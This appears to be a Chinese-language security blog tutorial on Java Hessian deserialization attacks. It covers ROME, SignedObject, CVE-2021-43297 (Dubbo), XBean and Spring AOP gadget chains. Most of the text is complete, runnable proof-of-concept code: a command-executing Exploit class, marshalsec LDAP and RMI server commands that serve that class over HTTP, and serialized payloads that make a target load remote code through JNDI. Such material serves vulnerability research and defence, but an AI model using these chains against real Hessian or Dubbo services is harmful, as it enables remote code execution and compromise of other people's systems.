Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。
环境配置: jdk 8u66
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <dependencies > <dependency > <groupId > com.caucho</groupId > <artifactId > hessian</artifactId > <version > 4.0.63</version > </dependency > <dependency > <groupId > rome</groupId > <artifactId > rome</artifactId > <version > 1.0</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency > </dependencies >
简单使用Hessian进行序列化与反序列化 Person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import java.io.Serializable; public class Person implements Serializable { public String name; public int age; public int getAge () { return age; } public String getName () { return name; } public void setAge (int age) { this .age = age; } public void setName (String name) { this .name = name; } }
测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;public class Main implements Serializable { public static void main (String[] args) throws Exception { Person p = new Person (); p.setAge(20 ); p.setName("Infernity" ); byte [] b = Hessian2_serialize(p); System.out.println(new String (b)); System.out.println(Hessian2_unserialize(b)); } public static byte [] Hessian2_serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); hessian2Output.writeObject(o); hessian2Output.flush(); return baos.toByteArray(); } public static Object Hessian2_unserialize (byte [] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); Object o = hessian2Input.readObject(); return o; } }
反序列化链子分析 Hessian反序列化漏洞的关键出在HessianInput::readObject
方法上
可以看到该方法读取了序列化结果的第一个byte,而由于Hessian会将序列化的结果处理成一个Map ,所以序列化结果的第一个byte总为M(ASCII为77)
值得注意的是,把serialize和unserialize都换成hessian2的依赖,虽然第一个字节不是77了,但是依然能进到SerializerFactory::readMap
方法,跟进readMap方法。
通过getDeserializer()来获取一个deserializer,跟进getDeserializer
方法
在生成deserializer后,java会创建一个HashMap作为缓存,并将我们需要反序列化的对象作为key放入HashMap中。对,使用了HashMap.put
方法,也就是说这里可以调任意类的hashCode
方法。
那就可以直接结合ROME原生链来打JDNI反序列化了。
LDAP打法: 1、写好一个要注册的Exploit: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.io.Serializable;import java.util.Hashtable; public class Exploit implements ObjectFactory , Serializable { public Exploit () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null ; } public static void main (String[] args) { Exploit exploit = new Exploit (); } }
然后把这个类构建成.class
文件,在构建目录运行:
1 python3 -m http.server 8000
开启一个web目录访问服务。
2、利用marshalsec开启一个LDAPRefServer 工具下载地址:https://github.com/RandomRobbieBF/marshalsec-jar
使用jdk8,运行:
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/
3、运行poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;public class Main implements Serializable { public static void main (String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); String url = "ldap://127.0.0.1:1389/Exploit" ; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); HashMap hashMap = makeMap(equalsBean,"114514" ); byte [] s = Hessian_serialize(hashMap); Hessian_unserialize(s); } public static byte [] Hessian_serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); HessianOutput hessianOutput = new HessianOutput (baos); hessianOutput.writeObject(o); hessianOutput.flush(); return baos.toByteArray(); } public static Object Hessian_unserialize (byte [] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); HessianInput hessianInput = new HessianInput (bais); Object o = hessianInput.readObject(); return o; } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(s, "table" , tbl); return s; } }
RMI打法: 第一步跟上面的一样。
2、写一个RMIServer并运行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main (String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099 ); System.out.println("Java RMI registry created. port on 1099" ); Reference reference = new Reference ("Exploit" , "Exploit" , "http://127.0.0.1:8000/" ); ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference); registry.bind("Exploit" , referenceWrapper); } }
3、把刚刚poc里的url改成“rmi://127.0.0.1:1099/Exploit”并运行
Hessian2+SignedObject二次反序列化 JNDI需要出网才能利用,所以通常被认为限制很高,因此还需要找无需出网的利用方式。或许你还记得ROME中的TemplatesImpl利用链,其能够加载任意类,进而任意代码执行,下面我们来尝试构造。
1 2 3 4 5 6 7 8 9 10 11 12 public static void main (String[] args) throws Exception { byte [] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode(); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes); ToStringBean toStringBean = new ToStringBean (Templates.class,templates); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); HashMap hashMap = makeMap(equalsBean,"114514" ); byte [] s = Hessian2_serialize(hashMap); Hessian2_unserialize(s); }
运行发现并没有弹计算器,这里其实是由于TemplatesImpl类中被transient
修饰的_tfactory
属性无法被序列化的(这也是这个修饰符本来的作用),进而导致TemplatesImpl类无法初始化。
那为什么之前用java原生反序列化不会出现这个问题呢? 在使用Java原生的反序列化时,如果被反序列化的类重写了readObject()
,那么Java就会通过反射来调用重写的readObject()
来看看TemplatesImpl::readObject()
可以看到这里手动new了一个TransformerFactoryImpl
类赋值给_tfactory
,这样就解决了_tfactory
无法被序列化的情况。
构造二次反序列化 既然我们无法通过Hessian2Input.readObject()
来反序列化TemplatesImpl类,那么我们能不能找到一个能够反序列化任意类的类呢?
其中一个常见的方式是使用java.security.SignedObject
进行二次反序列化。SignedObject类的构造函数能够序列化一个类并且将其存储到属性content中。
在其getObject
方法中能够将其反序列化出来,并且该方法还是getter
,可以被ROME链调用,简直完美。
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.security.*;import java.util.HashMap;public class Main implements Serializable { public static void main (String[] args) throws Exception { byte [] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode(); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes); ToStringBean toStringBean = new ToStringBean (Templates.class,templates); EqualsBean equalsBean = new EqualsBean (ToStringBean.class,toStringBean); HashMap hashMap = makeMap(equalsBean,"114514" ); SignedObject signedObject = second_serialize(hashMap); ToStringBean toStringBean2 = new ToStringBean (SignedObject.class,signedObject); EqualsBean equalsBean2 = new EqualsBean (ToStringBean.class,toStringBean2); HashMap hashMap2 = makeMap(equalsBean2,"114514" ); byte [] s = Hessian2_serialize(hashMap2); Hessian2_unserialize(s); } public static SignedObject second_serialize (Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException { KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject ((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA" )); return signedObject; } public static Object getTemplates (byte [] bytes) throws Exception { Templates templates = new TemplatesImpl (); setValue(templates, "_bytecodes" , new byte [][]{bytes}); setValue(templates, "_name" , "Infernity" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static byte [] Hessian2_serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); hessian2Output.writeObject(o); hessian2Output.flush(); return baos.toByteArray(); } public static Object Hessian2_unserialize (byte [] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); Object o = hessian2Input.readObject(); return o; } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(s, "table" , tbl); return s; } }
Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297) 字符串和对象拼接导致隐式触发了该对象的toString
方法, 从而引发后续一系列的利用方式。
问题主要出在Hessian2Input::expect
方法:
我们看看哪里调用了expect方法:
有很多,随便找一个,我这里以readString
方法举例。
只要tag的值不满足以上所有的case情况,那么就会进入expect函数。
再来看看哪里调用了readString
方法,在readObjectDefinition
方法中。
而在Hessian2Input::readObject
方法中读取tag,当tag为“C”也就是67的时候就会调用readObjectDefinition
方法。
所以,我们要让tag为67(C的ASCII码),可以给序列化得到的bytes数组前加一个67
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.ToStringBean;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;public class Main implements Serializable { public static void main (String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); String url = "ldap://127.0.0.1:1389/Exploit" ; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class,jdbcRowSet); byte [] payload = Hessian2_serialize(toStringBean); byte [] re_payload = new byte [payload.length + 1 ]; System.arraycopy(new byte []{67 }, 0 , re_payload, 0 , 1 ); System.arraycopy(payload, 0 , re_payload, 1 , payload.length); Hessian2_unserialize(re_payload); } public static byte [] Hessian2_serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); hessian2Output.writeObject(o); hessian2Output.flush(); return baos.toByteArray(); } public static Object Hessian2_unserialize (byte [] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); Object o = hessian2Input.readObject(); return o; } }
XBean链 依赖 1 2 3 4 5 <dependency > <groupId > org.apache.xbean</groupId > <artifactId > xbean-naming</artifactId > <version > 4.5</version > </dependency >
链子寻找 我们还是先利用XString来触发任意toString,来看到ContextUtil.ReadOnlyBinding
类的toString
方法,
ReadOnlyBinding类继承了Binding
类,它没有重写toString方法,所以来看到Binding类的toString方法。
可以看到调用了ReadOnlyBinding.getObject
方法,跟进。
我们跟进静态resolve方法。
可以看到该方法调用 NamingManager的getObjectInstance
方法,后续触发的逻辑就跟Resin反序列化 的后面一致了,从远程加载恶意类字节码。
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.xpath.internal.objects.XString;import org.apache.xbean.naming.context.ContextUtil;import org.apache.xbean.naming.context.WritableContext;import javax.naming.Context;import javax.naming.Reference;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception { Reference refObj = new Reference ("Exploit" ,"Exploit" ,"http://localhost:8000/" ); Context context = new WritableContext (); ContextUtil.ReadOnlyBinding rob = new ContextUtil .ReadOnlyBinding("Infernity" ,refObj,context); XString xString = new XString ("Infernity" ); Object obj = HashMap_to_anyequals_to_anytoString(xString,rob); byte [] payload = Hessian2_serialize(obj); Hessian2_unserialize(payload); } public static Object HashMap_to_anyequals_to_anytoString (Object anyobj_equals,Object anyobj_toString) throws Exception{ HashMap hashMap1 = new HashMap (); HashMap hashMap2 = new HashMap (); hashMap1.put("yy" , anyobj_toString); hashMap1.put("zZ" , anyobj_equals); hashMap2.put("yy" , anyobj_equals); hashMap2.put("zZ" , anyobj_toString); HashMap map = makeMap(hashMap1, hashMap2); return map; } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> map = new HashMap <>(); setValue(map, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(map, "table" , tbl); return map; } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static byte [] Hessian2_serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); hessian2Output.getSerializerFactory().setAllowNonSerializable(true ); hessian2Output.writeObject(o); hessian2Output.flush(); return baos.toByteArray(); } public static Object Hessian2_unserialize (byte [] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); Object o = hessian2Input.readObject(); return o; } }
Spring AOP链 依赖 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency > <groupId > org.springframework</groupId > <artifactId > spring-aop</artifactId > <version > 5.0.0.RELEASE</version > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-context</artifactId > <version > 4.1.3.RELEASE</version > </dependency > <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjweaver</artifactId > <version > 1.6.10</version > </dependency >
链子寻找I 这条链的触发点在于 AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder类的 toString
方法,调用 advisor
对象的 getOrder
方法。
此时就需要找同时实现了 Advisor
和 Ordered
接口的类,于是找到了 AspectJPointcutAdvisor 类。
这个类的 getOrder
方法调用 AbstractAspectJAdvice 类的 getOrder
方法。
继续跟进,
又调用了AspectInstanceFactory
类的getOrder方法。
继续找 AspectInstanceFactory 的子类看有没有可以触发的点,找到了 BeanFactoryAspectInstanceFactory
,其 getOrder
方法调用 beanFactory 的 getType
方法。
继续找有什么类继承了BeanFactory接口,并且有getType
方法可以被利用的。
在SimpleJndiBeanFactory 类的getType
方法中,我们一直跟进:
他的的 doGetType
方法调用 doGetSingleton
方法执行 JNDI 查询,组成了完整的利用链。
注意 1、在最后的SimpleJndiBeanFactory类的doGetType方法中,我们需要进入if,这里有一个isSingleton
方法判断,进去看看。
这里判断shareableResources
属性中是否包含我们传入的URL字符串,所以获取到SimpleJndiBeanFactory对象后,需要调用其setShareableResources
方法,把恶意url添加进shareableResources
属性。
1 2 SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory (); beanFactory.setShareableResources(url);
2、AspectJPointcutAdvisor类的构造方法是公有的,我本来准备直接通过new来获取AspectJPointcutAdvisor对象,但是下面的advice.buildSafePointcut
方法会报错,所以这里还是老老实实通过createWithoutConstructor来构造吧。
3、马的这链子类名都长得差不多,看的我晕头转向的。
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.xpath.internal.objects.XString;import org.apache.commons.logging.impl.NoOpLog;import org.springframework.aop.aspectj.AbstractAspectJAdvice;import org.springframework.aop.aspectj.AspectInstanceFactory;import org.springframework.aop.aspectj.AspectJAroundAdvice;import org.springframework.aop.aspectj.AspectJPointcutAdvisor;import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;import org.springframework.jndi.support.SimpleJndiBeanFactory;import sun.reflect.ReflectionFactory;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.*;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception { String url = "ldap://127.0.0.1:1389/Exploit" ; SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory (); beanFactory.setShareableResources(url); AspectInstanceFactory instanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); setFieldValue(instanceFactory, "beanFactory" , beanFactory); setFieldValue(instanceFactory, "name" , url); AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAroundAdvice.class); setFieldValue(advice,"aspectInstanceFactory" ,instanceFactory); AspectJPointcutAdvisor advisor = createWithoutConstructor(AspectJPointcutAdvisor.class); setFieldValue(advisor,"advice" ,advice); Class<?> PCAH = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder" ); Object pcah = createWithoutConstructor(PCAH); setFieldValue(pcah,"advisor" ,advisor); Object obj = HashMap_to_anyequals_to_anytoString(new XString ("Infernity" ),pcah); byte [] payload = Hessian2_serialize(obj); Hessian2_unserialize(payload); } public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if (field != null ) field.setAccessible(true ); else if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch (NoSuchFieldException e) { if (!clazz.getSuperclass().equals(Object.class)) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static <T> T createWithoutConstructor (Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } public static Object HashMap_to_anyequals_to_anytoString (Object anyobj_equals,Object anyobj_toString) throws Exception{ HashMap hashMap1 = new HashMap (); HashMap hashMap2 = new HashMap (); hashMap1.put("yy" , anyobj_toString); hashMap1.put("zZ" , anyobj_equals); hashMap2.put("yy" , anyobj_equals); hashMap2.put("zZ" , anyobj_toString); HashMap map = makeMap(hashMap1, hashMap2); return map; } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> map = new HashMap <>(); setValue(map, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(map, "table" , tbl); return map; } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static byte [] Hessian2_serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); hessian2Output.getSerializerFactory().setAllowNonSerializable(true ); hessian2Output.writeObject(o); hessian2Output.flush(); return baos.toByteArray(); } public static Object Hessian2_unserialize (byte [] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); Object o = hessian2Input.readObject(); return o; } }
链子寻找II 在 marshalsec 封装对象时,使用了 HotSwappableTargetSource 封装类,其 equals
方法会调用其 target 的 equals
方法。
所以链子还可以这么写
1 2 3 4 5 6 7 HotSwappableTargetSource v1 = new HotSwappableTargetSource (pcah);HotSwappableTargetSource v2 = new HotSwappableTargetSource (new XString ("Infernity" ));HashMap map = makeMap(v1, v2);byte [] payload = Hessian2_serialize(map); Hessian2_unserialize(payload);
其实并无必要。
链子寻找III 我们不用触发XString.equals
,我们找找有没有其他equals方法可用的。
在AbstractPointcutAdvisor类的equals
方法:
它本类没有这个方法,但是它的子类AbstractBeanFactoryPointcutAdvisor有:
这里调用了beanFactory的getBean
方法,还记得我们之前用的哪个类实现了beanFactory
接口吗?
是SimpleJndiBeanFactory类,我们看到它的getBean
方法:
这里又进到了doGetSingleton
方法,后面就跟链子I一样了。
注意 1、SimpleJndiBeanFactory.getAdvice
方法有一个if
还记得beanFactory.isSingleton
方法吗?判断adviceBeanName属性中是否包含我们传入的URL字符串,所以获取到beanFactory对象后,需要调用其setAdviceBeanName
方法,把恶意url添加进adviceBeanName属性。
2、由于AbstractBeanFactoryPointcutAdvisor类是抽象类,不好获取他的对象,我们找它的子类,一共有两个,分别是DefaultBeanFactoryPointcutAdvisor
和BeanFactoryCacheOperationSourceAdvisor
。
我们随便用其中一个就行。
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;import org.springframework.jndi.support.SimpleJndiBeanFactory;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.*;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception { String url = "ldap://127.0.0.1:1389/Exploit" ; SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory (); beanFactory.setShareableResources(url); DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor (); defaultBeanFactoryPointcutAdvisor.setBeanFactory(beanFactory); defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(url); HashMap map = makeMap(new DefaultBeanFactoryPointcutAdvisor (),defaultBeanFactoryPointcutAdvisor); byte [] payload = Hessian2_serialize(map); Hessian2_unserialize(payload); } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> map = new HashMap <>(); setValue(map, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(map, "table" , tbl); return map; } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static byte [] Hessian2_serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); hessian2Output.getSerializerFactory().setAllowNonSerializable(true ); hessian2Output.writeObject(o); hessian2Output.flush(); return baos.toByteArray(); } public static Object Hessian2_unserialize (byte [] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); Object o = hessian2Input.readObject(); return o; } }
参考文章:
https://goodapple.top/archives/1193
https://cloud.tencent.com/developer/article/2318125
https://su18.org/post/hessian/
https://justdoittt.top/2024/03/13/Hessian%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
https://blog.csdn.net/uuzeray/article/details/136818156